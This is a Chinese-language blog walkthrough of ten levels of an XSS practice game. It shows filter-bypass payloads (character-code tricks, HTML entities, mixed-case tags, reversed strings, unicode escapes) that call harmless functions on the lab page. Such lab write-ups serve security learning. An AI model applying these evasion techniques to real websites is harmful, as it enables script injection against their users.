Xss game WriteUp

Pratice:https://unescape-room.jobertabma.nl/

69989-1bkzh5es3k7.png

Level1

通过XSS去调用politeFunction方法并传参字符串5

66714-sagk438sp6.png

直接构造最简单的payload

<script>politeFunction('5')</script>

70616-0p6zxblx66pj.png

没有过滤 直接执行

25439-q7u1u2ml8cb.png

Level2

通过XSS去调用kindFunction方法并传参字符串87
68201-8t5r82aoxhx.png

输入payload

<script>kindFunction('87')</script>

74027-ra3mi4r2nbp.png

发现8被过滤了 那么换一种表达方式即可
先来了解两个JS的函数

String.fromCharCode() //可将ascii码转换成对应的字符

可以用十进制 也可以用十六进制等等
84459-86p3et44yww.png

charCodeAt() //将字符转换成对应的ascii码
76464-rk6281kiyxm.png

那么就可以用String.fromCharCode()来代替表示被过滤的8
先查看8对应的ascii码也可以直接查看ascii字符代码表
54171-wvlraa6u4y.png

得知8的ascii码为56
构造新的payload

<script>kindFunction(String.fromCharCode(56)+'7')</script>

60352-8a0xm6qmian.png

挑战成功

Level3

通过XSS去调用tallSuperHero并传参字符串252
99813-ad19v62po48.png

先使用最简单直接的payload

<script>tallSuperHero('252')</script>

46639-3bsqzcl9co6.png

发现输入的252没有显示出来 fuzz一下是过滤了什么
69414-4mt4nuxujig.png

发现只是过滤掉了25 还是可以用String.fromCharCode()来进行绕过
但是25ascii码都包含5
46647-eanzcrnkqd5.png

5是被过滤的 不能直接使用
稍微转换一下即可
51336-hudqlrj3y9n.png

构造payload

<script>tallSuperHero(String.fromCharCode(49+1,49+4,49+1))</script>

56944-6ul0n3ihl3f.png

挑战成功

Level4

通过XSS去调用niceRobot函数并传参字符串72462
输入点为img标签的src属性值中
61451-1jqyh1q82a1.png

img标签内也可以触发XSS,通过事件触发,常用的有onload以及onerror
那么就要先逃逸出src属性 自己构造onload或者onerror事件
构造payload:"onerror="niceRobot(72462)
64034-w438vdqpbve.png

发现输入的72462变成了746 fuzz一下看过滤了什么
21913-uldyagsmp1.png

发现25被过滤了 继续使用String.fromCharCode()进行绕过

"onerror="niceRobot('7'+String.fromCharCode(49+1)+'46'+String.fromCharCode(49+1))

01938-ptmqairgpos.png

挑战成功

Level5

通过XSS去调用niceRobot方法并传参字符串2zqu5f
输入点同样位于img标签的src属性值中
64809-lk5ppmymje.png

在构造payload的时候发现on被过滤了
69009-20t51qpipqu.png

那么通过事件去调用函数的这条路就走不通了 但是可以去闭合img标签引入script标签来调用函数
构造新的payload 2被过滤了 可以用1+1运算后为2转字符串来代替

"/><script>niceRobot((1+1).toString()+'2zqu5f')</script>

69860-q09tlfldx6.png

Level6

通过XSS去调用niceSuperHero并传参字符串6efexs7
输入点在input标签的value属性值中
27348-26ibv96ekmb.png

可通过onfocus事件配合autofocus属性来触发
构造payload

"autofocus=""onfocus="niceSuperHero('6efexs7')

49193-u1wpz88n3u9.png

发现rx被过滤了 可通过HTML实体编码来进行绕过

"autofocus=""onfocus="niceSupe&#114;He&#114;o('6efe&#120;s7')

04239-jh8qw9jrtj.png

Level7

通过XSS去调用politeRobot并传参字符串ggtnocho
90657-obs02q8gdb.png

跟上一关好像没什么不同

"autofocus=""onfocus="politeRo&#98;ot('ggtnocho')

47088-7bn1zidfuu4.png

挑战成功

Level8

通过XSS去调用niceHuman方法并传参6gmsf3onex
输出点位于body标签中
13413-93p7re24dnl.png

输入payload

<img src onerror="niceHuman('6gmsf3onex')">

27812-acsq36xpf4a.png

然后发现g空格u单双引号被过滤了
经过fuzz后发现没有过滤大写的G 可以用<imG> 当然也可以换成别的标签
空格可以用斜杠/来代替分割
ug可以用实体编码来代替
onerror的引号可以不用 靠浏览器来补全
函数传字符串可以用反引号来代替单双引号
最后构造出payload

<imG/src/onerror=niceH&#117;man(`6&#103;msf3onex`)>

75875-jz5gv13mur.png

Level9

通过XSS去调用elegantFunction并传参字符串e9p0iz7ywdd
输入点在img标签的src属性值中
73403-hvvk7ym6ay.png

输入后展示出来的反转的
62711-09mp1yhs1pw6.png

这个没关系 先输入正常的payload再反转即可
通过fuzz发现过滤了cpe构造出反转后的payload
那么通过onerror时间是不行了 但是还可以用onload
pc可用html实体编码绕过
先构造正序的payload:

htt&#112;s://www.baidu.&#99;om/img/bd_logo1.p&#112;ng"onload="&#101;l&#101;gantRobot(\'&#101;9p0iz7ywdd\')""x

反转可用python的切片语法
98660-imjbrsdfyg.png

Payload:

x"")'ddwy7zi0p9;101#&'(toboRtnag;101#&l;101#&"=daolno"gn;211#&p.1ogol_db/gmi/mo;99#&.udiab.www//:s;211#&tth

level10

通过XSS去调用tallHuman方法并传参字符串hgiqge8X9WnK
输入点位于img标签中的src属性中
74595-rioyfve5n5.png

发现过滤了on那么on事件不可取 采用script标签
p被过滤了 但是P没有 可以用<scriPt></scriPt>
l被过滤了 可以用unicode编码 \u006c代替
构造payload

"/><scriPt>ta\u006c\u006cHuman('hgiqge8X9WnK')</scriPt>

13895-xd296mugkr.png

挑战成功

END

本文链接:

https://www.linqi.net.cn/index.php/archives/306/